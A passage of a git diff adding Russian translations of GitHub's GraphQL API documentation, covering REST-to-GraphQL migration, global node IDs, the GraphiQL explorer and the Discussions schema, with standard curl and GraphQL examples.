avatars. However, a GraphQL query returns only what you specify: + +```graphql +query { + organization(login:"github") { + membersWithRole(first: 100) { + edges { + node { + name + avatarUrl + } + } + } + } +} +``` + +Consider another example: retrieving a list of pull requests and checking if each one is mergeable. A call to the REST API retrieves a list of pull requests and their [summary representations](/rest#summary-representations): +```shell +curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls +``` + +Determining if a pull request is mergeable requires retrieving each pull request individually for its [detailed representation](/rest#detailed-representations) (a large payload) and checking whether its `mergeable` attribute is true or false: +```shell +curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls/:number +``` + +With GraphQL, you could retrieve only the `number` and `mergeable` attributes for each pull request: + +```graphql +query { + repository(owner:"octocat", name:"Hello-World") { + pullRequests(last: 10) { + edges { + node { + number + mergeable + } + } + } + } +} +``` + +## Example: Nesting + +Querying with nested fields lets you replace multiple REST calls with fewer GraphQL queries. For example, retrieving a pull request along with its commits, non-review comments, and reviews using the **REST API** requires four separate calls: +```shell +curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls/:number +curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls/:number/commits +curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/issues/:number/comments +curl -v {% data variables.product.api_url_pre %}/repos/:owner/:repo/pulls/:number/reviews +``` + +Using the **GraphQL API**, you can retrieve the data with a single query using nested fields: + +```graphql +{ + repository(owner: "octocat", name: "Hello-World") { + pullRequest(number: 1) { + commits(first: 10) { + edges { + node { + commit { + oid + message + } + } + } + } + comments(first: 10) { + edges { + node { + body + author { + login + } + } + } + } + reviews(first: 10) { + edges { + node { + state + } + } + } + } + } +} +``` + +You can also extend the power of this query by [substituting a variable](/graphql/guides/forming-calls-with-graphql#working-with-variables) for the pull request number. + +## Example: Strong typing + +GraphQL schemas are strongly typed, making data handling safer. + +Consider an example of adding a comment to an issue or pull request using a GraphQL [mutation](/graphql/reference/mutations), and mistakenly specifying an integer rather than a string for the value of [`clientMutationId`](/graphql/reference/mutations#addcomment): + +```graphql +mutation { + addComment(input:{clientMutationId: 1234, subjectId: "MDA6SXNzdWUyMjcyMDA2MTT=", body: "Looks good to me!"}) { + clientMutationId + commentEdge { + node { + body + repository { + id + name + nameWithOwner + } + issue { + number + } + } + } + } +} +``` + +Executing this query returns errors specifying the expected types for the operation: + +```json +{ + "data": null, + "errors": [ + { + "message": "Argument 'input' on Field 'addComment' has an invalid value. Expected type 'AddCommentInput!'.", + "locations": [ + { + "line": 3, + "column": 3 + } + ] + }, + { + "message": "Argument 'clientMutationId' on InputObject 'AddCommentInput' has an invalid value. Expected type 'String'.", + "locations": [ + { + "line": 3, + "column": 20 + } + ] + } + ] +} +``` + +Wrapping `1234` in quotes transforms the value from an integer into a string, the expected type: + +```graphql +mutation { + addComment(input:{clientMutationId: "1234", subjectId: "MDA6SXNzdWUyMjcyMDA2MTT=", body: "Looks good to me!"}) { + clientMutationId + commentEdge { + node { + body + repository { + id + name + nameWithOwner + } + issue { + number + } + } + } + } +} +``` diff --git a/translations/ru-RU/content/graphql/guides/migrating-graphql-global-node-ids.md b/translations/ru-RU/content/graphql/guides/migrating-graphql-global-node-ids.md new file mode 100644 index 000000000000..2e0349355dbf --- /dev/null +++ b/translations/ru-RU/content/graphql/guides/migrating-graphql-global-node-ids.md @@ -0,0 +1,73 @@ +--- +title: Перенос глобальных идентификаторов узлов GraphQL +intro: 'Изучите два глобальных формата идентификаторов узлов и узнайте о том, как перейти из устаревшего формата в новый.' +versions: + fpt: '*' + ghec: '*' +topics: + - API +shortTitle: Migrating global node IDs +ms.openlocfilehash: 7d62d81e52b848e4fb8b5f6b2bae9997e0ac1209 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147717856' +--- +## Историческая справка + +API GraphQL для {% data variables.product.product_name %} в настоящее время поддерживает два формата глобальных идентификаторов узлов. Старый формат станет нерекомендуемым и будет заменен новым форматом. В этом руководстве показано, как при необходимости перейти на новый формат. + +Переходя на новый формат, вы обеспечиваете стабильно малое время отклика на запросы. Вы также гарантируете, что приложение продолжит работать после окончательного упразднения старых идентификаторов. + +Дополнительные сведения о причинах упразднения старого формата глобальных идентификаторов узлов см. в разделе [Новый формат глобальных идентификаторов в GraphQL](https://github.blog/2021-02-10-new-global-id-format-coming-to-graphql). + +## Определение необходимости принятия мер + +Выполнить инструкции по переходу необходимо только в том случае, если вы храните ссылки на глобальные идентификаторы узлов GraphQL. Эти идентификаторы соответствуют полю `id` для любого объекта в схеме. Если вы не храните глобальные идентификаторы узлов, то можете продолжать работать с API как прежде. + +Кроме того, если в настоящее время вы декодируете старые идентификаторы для извлечения сведений о типах (например, если вы используете первые два символа `PR_kwDOAHz1OX4uYAah` для определения того, является ли объект запросом на вытягивание), работа службы нарушится из-за изменения формата идентификаторов. Необходимо перенести службу для обработки этих идентификаторов как непрозрачных строк. Эти идентификаторы будут уникальными, поэтому их можно использовать как ссылки напрямую. + + +## Переход на новые глобальные идентификаторы + +Чтобы упростить переход на новый формат идентификаторов, можно использовать заголовок `X-Github-Next-Global-ID` в запросах API GraphQL. Заголовок `X-Github-Next-Global-ID` может иметь значение `1` или `0`. Если задать значение `1`, в полезных данных ответа всегда будет использоваться новый формат идентификаторов для любого объекта, для которого запрашивается поле `id`. Если задать значение `0`, восстанавливается поведение по умолчанию, то есть отображается устаревший или новый идентификатор в зависимости от даты создания объекта. + +Вот пример запроса с использованием cURL: + +``` +$ curl \ + -H "Authorization: Bearer $GITHUB_TOKEN" \ + -H "X-Github-Next-Global-ID: 1" \ + https://api.github.com/graphql \ + -d '{ "query": "{ node(id: \"MDQ6VXNlcjM0MDczMDM=\") { id } }" }' +``` + +Несмотря на то, что в запросе использовался устаревший идентификатор `MDQ6VXNlcjM0MDczMDM=`, ответ будет содержать идентификатор в новом формате: +``` +{"data":{"node":{"id":"U_kgDOADP9xw"}}} +``` +С помощью заголовка `X-Github-Next-Global-ID` можно определить новый формат для устаревших идентификаторов, на которые вы ссылаетесь в приложении. Затем можно обновить эти ссылки идентификатором, полученным в ответе. Необходимо обновить все ссылки на устаревшие идентификаторы и использовать новый формат идентификаторов во всех последующих запросах к API. Для выполнения массовых операций можно использовать псевдонимы. Они позволяют отправлять запросы к нескольким узлам в одном вызове API. Дополнительные сведения см. в [документации по GraphQL](https://graphql.org/learn/queries/#aliases). + +Вы также можете получить новый идентификатор для коллекции элементов. Например, если нужно получить новый идентификатор для последних 10 репозиториев в организации, можно использовать следующий запрос: +``` +{ + organization(login: "github") { + repositories(last: 10) { + edges { + cursor + node { + name + id + } + } + } + } +} +``` + +Обратите внимание, что присвоение значения `1` заголовку `X-Github-Next-Global-ID` повлияет на возвращаемое значение каждого поля `id` в запросе. Это означает, что даже при отправке запроса, не относящегося к `node`, будет возвращен новый формат идентификаторов, если вы запросили поле `id`. + +## Отправка отзывов + +Если вы беспокоитесь о том, что развертывание этого изменения может повлиять на ваше приложение, [обратитесь в {% data variables.product.product_name %}](https://support.github.com/contact) и сообщите дополнительные сведения, например имя приложения, чтобы нам было проще помочь вам. diff --git a/translations/ru-RU/content/graphql/guides/using-global-node-ids.md b/translations/ru-RU/content/graphql/guides/using-global-node-ids.md new file mode 100644 index 000000000000..0c27da4cd857 --- /dev/null +++ b/translations/ru-RU/content/graphql/guides/using-global-node-ids.md @@ -0,0 +1,133 @@ +--- +title: Использование глобальных идентификаторов узлов +intro: Глобальные идентификаторы узлов объектов можно получить с помощью REST API и использовать их в операциях GraphQL. +redirect_from: + - /v4/guides/using-global-node-ids +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +ms.openlocfilehash: f7c31bf50d547fbc3aa030baf095c2fec2603315 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009859' +--- +К большинству объектов в GitHub (пользователи, проблемы, запросы на включение внесенных изменений и т. д.) можно получить доступ с помощью REST API или API GraphQL. **Глобальный идентификатор узла** многих объектов можно получить через REST API и использовать эти идентификаторы в операциях GraphQL. Дополнительные сведения см. в разделе [Предварительный просмотр идентификаторов узлов API GraphQL в ресурсах REST API](https://developer.github.com/changes/2017-12-19-graphql-node-id/). + +{% note %} + +**Примечание.** В REST поле глобального идентификатора узла называется `node_id`. В GraphQL это поле `id` в интерфейсе `node`. Сведения о том, что означает "узел" в GraphQL, см. в разделе "[Введение в GraphQL](/graphql/guides/introduction-to-graphql#node)". + +{% endnote %} + +## Использование глобальных идентификаторов узлов + +Использовать глобальные идентификаторы узлов можно тремя способами: + +1. Вызов конечной точки REST, которая возвращает объект `node_id`. +2. Поиск типа объекта в GraphQL. +3. Прямой поиск узла в GraphQL с помощью идентификатора и типа. + +Рассмотрим следующий пример. + +## 1. Вызов конечной точки REST, которая возвращает объект . + +Если [запросить имя пользователя, прошедшего проверку подлинности](/rest/reference/users#get-the-authenticated-user): + +```shell +$ curl -i -u USERNAME:TOKEN {% data variables.product.api_url_pre %}/user +``` + +вы получите ответ, в который входит идентификатор `node_id` такого пользователя. + +```json +{ + "login": "octocat", + "id": 1, + "avatar_url": "https://github.com/images/error/octocat_happy.gif", + "gravatar_id": "", + "url": "https://api.github.com/users/octocat", + "html_url": "https://github.com/octocat", + "followers_url": "https://api.github.com/users/octocat/followers", + "following_url": "https://api.github.com/users/octocat/following{/other_user}", + "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", + "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", + "organizations_url": "https://api.github.com/users/octocat/orgs", + "repos_url": "https://api.github.com/users/octocat/repos", + "events_url": "https://api.github.com/users/octocat/events{/privacy}", + "received_events_url": "https://api.github.com/users/octocat/received_events", + "type": "User", + "site_admin": false, + "name": "monalisa octocat", + "company": "GitHub", + "blog": "https://github.com/blog", + "location": "San Francisco", + "email": "octocat@github.com", + "hireable": false, + "bio": "There once was...", + "public_repos": 2, + "public_gists": 1, + "followers": 20, + "following": 0, + "created_at": "2008-01-14T04:33:35Z", + "updated_at": "2008-01-14T04:33:35Z", + "private_gists": 81, + "total_private_repos": 100, + "owned_private_repos": 100, + "disk_usage": 10000, + "collaborators": 8, + "two_factor_authentication": true, + "plan": { + "name": "Medium", + "space": 400, + "private_repos": 20, + "collaborators": 0 + }, + "node_id": "MDQ6VXNlcjU4MzIzMQ==" +} +``` + +## 2. Поиск типа объекта в GraphQL. + +В этом примере `node_id` имеет значение `MDQ6VXNlcjU4MzIzMQ==`. С помощью данного значения можно запросить этот объект в GraphQL. + +Однако сначала необходимо узнать _тип_ объекта. Это можно сделать с помощью простого запроса GraphQL: + +```graphql +query { + node(id:"MDQ6VXNlcjU4MzIzMQ==") { + __typename + } +} +``` + +Запрос такого типа — то есть поиск узла по идентификатору — называется "прямым поиском узла". + +При выполнении этого запроса вы увидите, что `__typename` имеет значение [`User`](/graphql/reference/objects#user). + +## 3. Прямой поиск узла в GraphQL. + +После подтверждения типа можно с помощью [встроенного фрагмента](https://graphql.github.io/learn/queries/#inline-fragments) получить доступ к объекту по его идентификатору и вернуть дополнительные данные. В этом примере мы определим поля `User`, которые будут использоваться в запросе: + +```graphql +query { + node(id:"MDQ6VXNlcjU4MzIzMQ==") { + ... on User { + name + login + } + } +} +``` + +Запрос такого типа представляет собой стандартный способ поиска объекта по глобальному идентификатору узла. + +## Использование глобальных идентификаторов узлов при миграции + +При создании интеграций, в которых используется REST API или API GraphQL, рекомендуется сохранить глобальный идентификатор узла, чтобы можно было легко ссылаться на объекты в разных версиях API. Дополнительные сведения о переходе с REST на GraphQL см. в разделе "[Миграция из REST в GraphQL](/graphql/guides/migrating-from-rest-to-graphql)". diff --git a/translations/ru-RU/content/graphql/guides/using-the-explorer.md b/translations/ru-RU/content/graphql/guides/using-the-explorer.md new file mode 100644 index 000000000000..229329c0e3e2 --- /dev/null +++ b/translations/ru-RU/content/graphql/guides/using-the-explorer.md @@ -0,0 +1,155 @@ +--- +title: Использование обозревателя +intro: 'Вы можете выполнять запросы к реальным данным {% data variables.product.prodname_dotcom %} с помощью обозревателя GraphQL, интегрированной среды разработки в браузере, которая включает документы, выделение синтаксиса и ошибки проверки.' +redirect_from: + - /v4/guides/using-the-explorer +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +ms.openlocfilehash: 19c534dd0cdcacdfd0d96bb93d055ff3fca8690b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146749492' +--- +## Сведения об обозревателе GraphQL + +{% ifversion fpt or ghec %} + +[Обозреватель GraphQL](/graphql/overview/explorer) — это экземпляр [GraphiQL](https://github.com/graphql/graphiql), который представляет собой "графическую интерактивную IDE GraphQL в браузере". + +{% else %} + +[GraphiQL](https://github.com/graphql/graphiql), также упоминаемый в этой документации как обозреватель GraphQL, является "графической интерактивной IDE GraphQL в браузере". + +{% endif %} + +## Использование GraphiQL + +Чтобы использовать приложение GraphiQL, скачайте и установите его с https://github.com/skevy/graphiql-app. + +### Настройка GraphiQL + +1. Получение [токена OAuth](/graphql/guides/forming-calls-with-graphql#authenticating-with-graphql). +1. Запустите GraphiQL. +1. В правом верхнем углу GraphiQL щелкните **Edit HTTP Headers** (Изменить заголовки HTTP). +1. В поле **Ключ** введите `Authorization`. В поле **Значение** введите `Bearer <token>`, где `<token>` — это созданный токен OAuth. +![Заголовки graphiql](/assets/images/developer/graphiql-headers.png) +1. Установите флажок справа от токена, чтобы его сохранить. +1. Чтобы вернуться в редактор, щелкните за пределами модального окна **Изменить заголовки HTTP**. +1. В поле **GraphQL Endpoint** (Конечная точка GraphQL) введите `{% data variables.product.graphql_url_pre %}`. +1. В раскрывающемся меню **Метод** выберите **POST**. + +{% note %} + +**Примечание**. Дополнительные сведения о том, почему `POST` является методом, см. в разделе [Взаимодействие с GraphQL](/graphql/guides/forming-calls-with-graphql#communicating-with-graphql). + +{% endnote %} + +Можно проверить доступ, сделав запрос себе: + +```graphql +query { + viewer { + login + } +} +``` + +Если все сработало правильно, будет отображаться ваше имя для входа. Все готово для начала выполнения запросов. + +## Доступ к документации на боковой панели + +Все типы в схеме GraphQL включают поле `description`, скомпилированное в документацию. Свертываемая панель **Документация** справа на странице обозревателя позволяет просматривать документацию по системе типов. Документация автоматически обновляется, а нерекомендуемые поля удаляются. + +{% note %} + +Боковая панель **Документации** содержит то же содержимое, которое автоматически создается из схемы в разделе [Ссылка](/graphql), хотя местами оно отформатировано по-разному. + +{% endnote %} + +## Использование панели переменных + +Некоторые примеры вызовов включают [переменные](/graphql/guides/forming-calls-with-graphql#working-with-variables), написанные так: + +```graphql +query($number_of_repos:Int!){ + viewer { + name + repositories(last: $number_of_repos) { + nodes { + name + } + } + } +} +variables { + "number_of_repos": 3 +} +``` + +Это правильный формат для отправки вызова через cURL `POST` (при условии, что вы [экранируете новые строки](/graphql/guides/forming-calls-with-graphql#communicating-with-graphql)). + +Если вы хотите выполнить вызов в обозревателе, введите сегмент `query` на главной панели и переменные на панели **Переменные запроса** под ним. Опустите слово `variables` из обозревателя: + +```graphql +{ + "number_of_repos": 3 +} +``` + +## Запрос поддержки + +{% data reusables.support.help_resources %} + +## Устранение ошибок + +Так как GraphQL является [интроспективным](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api), обозреватель поддерживает: + +* Интеллектуальные опережающие вводы с учетом текущей схемы +* Предварительный просмотр ошибок проверки при вводе + +Если вы вводите запрос с неправильным форматом или запрос, который не проходит [проверку схемы](/graphql/guides/introduction-to-graphql#schema), всплывающее окно предупредит вас об ошибке. При выполнении запроса ошибка возвращается в панель ответов. + +Ответ GraphQL содержит несколько ключей: хэш `data` и массив `errors`. + +```json +{ + "data": null, + "errors": [ + { + "message": "Objects must have selections (field 'nodes' returns Repository but has no selections)", + "locations": [ + { + "line": 5, + "column": 8 + } + ] + } + ] +} +``` + +Возможно, вы столкнулись с непредвиденной ошибкой, не связанной со схемой. В этом случае сообщение будет содержать справочный код, который можно использовать, сообщая о проблеме: + +```json +{ + "data": null, + "errors": [ + { + "message": "Something went wrong while executing your query. This is most likely a GitHub bug. Please include \"7571:3FF6:552G94B:69F45B7:5913BBEQ\" when reporting this issue." + } + ] +} +``` + +{% note %} + +**Примечание.** {% data variables.product.prodname_dotcom %} рекомендует проверять наличие ошибок перед использованием данных в рабочей среде. В GraphQL сбой не является общим: часть запросов GraphQL может быть выполнена успешно, а другая — завершиться сбоем. + +{% endnote %} diff --git a/translations/ru-RU/content/graphql/guides/using-the-graphql-api-for-discussions.md b/translations/ru-RU/content/graphql/guides/using-the-graphql-api-for-discussions.md new file mode 100644 index 000000000000..679b63823c80 --- /dev/null +++ b/translations/ru-RU/content/graphql/guides/using-the-graphql-api-for-discussions.md @@ -0,0 +1,1088 @@ +--- +title: Использование API GraphQL для обсуждений +intro: 'Сведения об использовании API GraphQL {% data variables.product.prodname_discussions %}.' +versions: + feature: discussions +shortTitle: Use GraphQL for Discussions +ms.openlocfilehash: 1512082737df4c92942a40007d2c75897edb1061 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147408846' +--- +API GraphQL для {% data variables.product.prodname_discussions %} позволяет получать, создавать, изменять и удалять публикации обсуждений. Дополнительные сведения о {% data variables.product.prodname_discussions %} см. в разделе [Сведения об обсуждениях](/discussions/collaborating-with-your-community-using-discussions/about-discussions). + +Этот API доступен для пользователей, прошедших проверку подлинности, приложений OAuth и приложений GitHub. Маркерам доступа требуется область `repo` для частных репозиториев и область `public_repo` для общедоступных репозиториев. Дополнительные сведения см. в разделе [Области для приложений OAuth](/developers/apps/scopes-for-oauth-apps). + +## Поля + +### Repository.discussions + +Вывод списка обсуждений в репозитории. Если указано поле `categoryId`, возвращаются результаты только этой категории. + +_Сигнатура:_ + +```graphql +discussions( + after: String, + before: String, + first: Int, + last: Int, + categoryId: ID = null, + orderBy: DiscussionOrder = {field: UPDATED_AT, direction: DESC} +) : Discussion +``` + +#### DiscussionOrder + +```graphql +""" +Ways in which discussions can be ordered. +""" +input DiscussionOrder { + """ + The field by which to order discussions. + """ + field: DiscussionOrderField! + + """ + The direction in which to order discussions by the specified field. + """ + direction: OrderDirection! +} +``` + +```graphql +""" +Properties by which discussion connections can be ordered. +""" +enum DiscussionOrderField { + """ + Order discussions by creation time. + """ + CREATED_AT + + """ + Order discussions by most recent modification time. + """ + UPDATED_AT +} +``` + +### Repository.discussionCategories + +Возвращаются доступные категории обсуждений, определенные в этом репозитории. Каждый репозиторий может относиться к нескольким категориям (до 10). Дополнительные сведения о категориях обсуждений см. в разделе [Сведения об обсуждениях](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions). + +_Сигнатура:_ + +```graphql +discussionCategories( + after: String, + before: String, + first: Int, + last: Int, +) : DiscussionCategoryConnection! +``` + +### Repository.discussion + +Получение обсуждения. Возвращает `null`, если обсуждение с указанным идентификатором не существует. + +_Сигнатура:_ + +```graphql +discussion(number: Int!) : Discussion +``` + +### Repository.pinnedDiscussions + +Возвращаются обсуждения, закрепленные в этом репозитории, в порядке позиции закрепления. + +_Сигнатура:_ + +```graphql +pinnedDiscussions( + after: String, + before: String, + first: Int, + last: Int, +) : PinnedDiscussionConnection! +``` + +## Объекты + +**Примечание**. Для краткости типы соединений здесь не рассматриваются. Каждый тип соединения, упомянутый в схеме, соответствует тому же шаблону, что и другие соединения в API GraphQL. Дополнительные сведения см. в разделе [Общие сведения о GraphQL](/graphql/guides/introduction-to-graphql#connection). + +```graphql +query { + repository(owner: "github", name: "some-repo") { + discussions(first: 10) { + # type: DiscussionConnection + totalCount # Int! + + pageInfo { + # type: PageInfo (from the public schema) + startCursor + endCursor + hasNextPage + hasPreviousPage + } + + edges { + # type: DiscussionEdge + cursor + node { + # type: Discussion + id + } + } + + nodes { + # type: Discussion + id + } + } + } +} +``` + +### Разговор + +<details> +<summary>Поля</summary> + +```graphql +""" +A discussion in a repository. +""" +type Discussion implements Comment & Deletable & Lockable & Node & Reactable & RepositoryNode & Subscribable & Updatable { + """ + Reason that the conversation was locked. + """ + activeLockReason: LockReason + + """ + The comment chosen as this discussion's answer, if any. + """ + answer: DiscussionComment + + """ + The time when a user chose this discussion's answer, if answered. + """ + answerChosenAt: DateTime + + """ + The user who chose this discussion's answer, if answered. + """ + answerChosenBy: Actor + + """ + The actor who authored the comment. + """ + author: Actor + + """ + Author's association with the subject of the comment. + """ + authorAssociation: CommentAuthorAssociation! + + """ + The main text of the discussion post. + """ + body: String! + + """ + The body rendered to HTML. + """ + bodyHTML: HTML! + + """ + The body rendered to text. + """ + bodyText: String! + + """ + The category for this discussion. + """ + category: DiscussionCategory! + + """ + The replies to the discussion. + """ + comments( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): DiscussionCommentConnection! + + """ + Identifies the date and time when the object was created. + """ + createdAt: DateTime! + + """ + Check if this comment was created via an email reply. + """ + createdViaEmail: Boolean! + + """ + Identifies the primary key from the database. + """ + databaseId: Int + + """ + The actor who edited the comment. + """ + editor: Actor + id: ID! + + """ + Check if this comment was edited and includes an edit with the creation data + """ + includesCreatedEdit: Boolean! + + """ + The moment the editor made the last edit + """ + lastEditedAt: DateTime + + """ + `true` if the object is locked + """ + locked: Boolean! + + """ + The number identifying this discussion within the repository. + """ + number: Int! + + """ + Identifies when the comment was published at. + """ + publishedAt: DateTime + + """ + A list of reactions grouped by content left on the subject. + """ + reactionGroups: [ReactionGroup!] + + """ + A list of Reactions left on the Issue. + """ + reactions( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Allows filtering Reactions by emoji. + """ + content: ReactionContent + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Allows specifying the order in which reactions are returned. + """ + orderBy: ReactionOrder + ): ReactionConnection! + + """ + The repository associated with this node. + """ + repository: Repository! + + """ + The path for this discussion. + """ + resourcePath: URI! + + """ + The title of this discussion. + """ + title: String! + + """ + Identifies the date and time when the object was last updated. + """ + updatedAt: DateTime! + + """ + The URL for this discussion. + """ + url: URI! + + """ + A list of edits to this content. + """ + userContentEdits( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): UserContentEditConnection + + """ + Check if the current viewer can delete this object. + """ + viewerCanDelete: Boolean! + + """ + Can user react to this subject + """ + viewerCanReact: Boolean! + + """ + Check if the viewer is able to change their subscription status for the repository. + """ + viewerCanSubscribe: Boolean! + + """ + Check if the current viewer can update this object. + """ + viewerCanUpdate: Boolean! + + """ + Did the viewer author this comment. + """ + viewerDidAuthor: Boolean! + + """ + Identifies if the viewer is watching, not watching, or ignoring the subscribable entity. + """ + viewerSubscription: SubscriptionState +} +``` + +</details> + +### DiscussionComment + +<details> +<summary>Поля</summary> + +```graphql +""" +A comment on a discussion. +""" +type DiscussionComment implements Comment & Deletable & Minimizable & Node & Reactable & Updatable & UpdatableComment { + """ + The actor who authored the comment. + """ + author: Actor + + """ + Author's association with the subject of the comment. + """ + authorAssociation: CommentAuthorAssociation! + + """ + The body as Markdown. + """ + body: String! + + """ + The body rendered to HTML. + """ + bodyHTML: HTML! + + """ + The body rendered to text. + """ + bodyText: String! + + """ + Identifies the date and time when the object was created. + """ + createdAt: DateTime! + + """ + Check if this comment was created via an email reply. + """ + createdViaEmail: Boolean! + + """ + Identifies the primary key from the database. + """ + databaseId: Int + + """ + The time when this replied-to comment was deleted + """ + deletedAt: DateTime + + """ + The discussion this comment was created in + """ + discussion: Discussion + + """ + The actor who edited the comment. + """ + editor: Actor + id: ID! + + """ + Check if this comment was edited and includes an edit with the creation data + """ + includesCreatedEdit: Boolean! + + """ + Has this comment been chosen as the answer of its discussion? + """ + isAnswer: Boolean! + + """ + Returns whether or not a comment has been minimized. + """ + isMinimized: Boolean! + + """ + The moment the editor made the last edit + """ + lastEditedAt: DateTime + + """ + Returns why the comment was minimized. + """ + minimizedReason: String + + """ + Identifies when the comment was published at. + """ + publishedAt: DateTime + + """ + A list of reactions grouped by content left on the subject. + """ + reactionGroups: [ReactionGroup!] + + """ + A list of Reactions left on the Issue. + """ + reactions( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Allows filtering Reactions by emoji. + """ + content: ReactionContent + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Allows specifying the order in which reactions are returned. + """ + orderBy: ReactionOrder + ): ReactionConnection! + + """ + The threaded replies to this comment. + """ + replies( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): DiscussionCommentConnection! + + """ + The discussion comment this comment is a reply to + """ + replyTo: DiscussionComment + + """ + The path for this discussion comment. + """ + resourcePath: URI! + + """ + Identifies the date and time when the object was last updated. + """ + updatedAt: DateTime! + + """ + The URL for this discussion comment. + """ + url: URI! + + """ + A list of edits to this content. + """ + userContentEdits( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): UserContentEditConnection + + """ + Check if the current viewer can delete this object. + """ + viewerCanDelete: Boolean! + + """ + Can the current user mark this comment as an answer? + """ + viewerCanMarkAsAnswer: Boolean! + + """ + Check if the current viewer can minimize this object. + """ + viewerCanMinimize: Boolean! + + """ + Can user react to this subject + """ + viewerCanReact: Boolean! + + """ + Can the current user unmark this comment as an answer? + """ + viewerCanUnmarkAsAnswer: Boolean! + + """ + Check if the current viewer can update this object. + """ + viewerCanUpdate: Boolean! + + """ + Reasons why the current viewer can not update this comment. + """ + viewerCannotUpdateReasons: [CommentCannotUpdateReason!]! + + """ + Did the viewer author this comment. + """ + viewerDidAuthor: Boolean! +} +``` + +</details> + +### DiscussionCategory + +<details> +<summary>Поля</summary> + +```graphql +""" +A category for discussions in a repository. +""" +type DiscussionCategory implements Node & RepositoryNode { + """ + Identifies the date and time when the object was created. + """ + createdAt: DateTime! + + """ + A description of this category. + """ + description: String + + """ + An emoji representing this category. + """ + emoji: String! + + """ + This category's emoji rendered as HTML. + """ + emojiHTML: HTML! + id: ID! + + """ + Whether or not discussions in this category support choosing an answer with the markDiscussionCommentAsAnswer mutation. + """ + isAnswerable: Boolean! + + """ + The name of this category. + """ + name: String! + + """ + The repository associated with this node. + """ + repository: Repository! + + """ + Identifies the date and time when the object was last updated. + """ + updatedAt: DateTime! +} +``` + +</details> + +### PinnedDiscussion + +<details> +<summary>Поля</summary> + +```graphql +""" +A Pinned discussion is a discussion pinned to a repository's index page. +""" +type PinnedDiscussion implements Node & RepositoryNode { + """ + Identifies the date and time when the object was created. + """ + createdAt: DateTime! + + """ + Identifies the primary key from the database. + """ + databaseId: Int + + """ + The discussion that was pinned. + """ + discussion: Discussion! + + """ + Color stops of the chosen gradient + """ + gradientStopColors: [String!]! + id: ID! + + """ + Background texture pattern + """ + pattern: PinnedDiscussionPattern! + + """ + The actor that pinned this discussion. + """ + pinnedBy: Actor! + + """ + Preconfigured background gradient option + """ + preconfiguredGradient: PinnedDiscussionGradient + + """ + The repository associated with this node. + """ + repository: Repository! + + """ + Identifies the date and time when the object was last updated. + """ + updatedAt: DateTime! +} +``` + +</details> + +#### PinnedDiscussionPattern + +<details> +<summary>Значения</summary> + +```graphql +""" +Preconfigured background patterns that may be used to style discussions pinned within a repository. +""" +enum PinnedDiscussionPattern { + """ + An upward-facing chevron pattern + """ + CHEVRON_UP + + """ + A hollow dot pattern + """ + DOT + + """ + A solid dot pattern + """ + DOT_FILL + + """ + A heart pattern + """ + HEART_FILL + + """ + A friendly octocat face pattern + """ + OCTOFACE + + """ + A plus sign pattern + """ + PLUS +} +``` + +</details> + +#### PinnedDiscussionGradient + +<details> +<summary>Значения</summary> + +```graphql +""" +Preconfigured gradients that may be used to style discussions pinned within a repository. +""" +enum PinnedDiscussionGradient { + """ + A gradient of blue to mint + """ + BLUE_MINT + + """ + A gradient of blue to purple + """ + BLUE_PURPLE + + """ + A gradient of pink to blue + """ + PINK_BLUE + + """ + A gradient of purple to coral + """ + PURPLE_CORAL + + """ + A gradient of red to orange + """ + RED_ORANGE +} +``` + +</details> + +## Интерфейсы + +### RepositoryDiscussionAuthor + +Реализуется типами `User` и `Organization`. **Примечание**. С объектом `Organization` обсуждения будут связаны только в том случае, если он был преобразован из объекта `User`. + +<details> +<summary>Поля</summary> + +```graphql +""" +Represents an author of discussions in repositories. +""" +interface RepositoryDiscussionAuthor { + """ + Discussions this user has started. + """ + repositoryDiscussions( + """ + Returns the elements in the list that 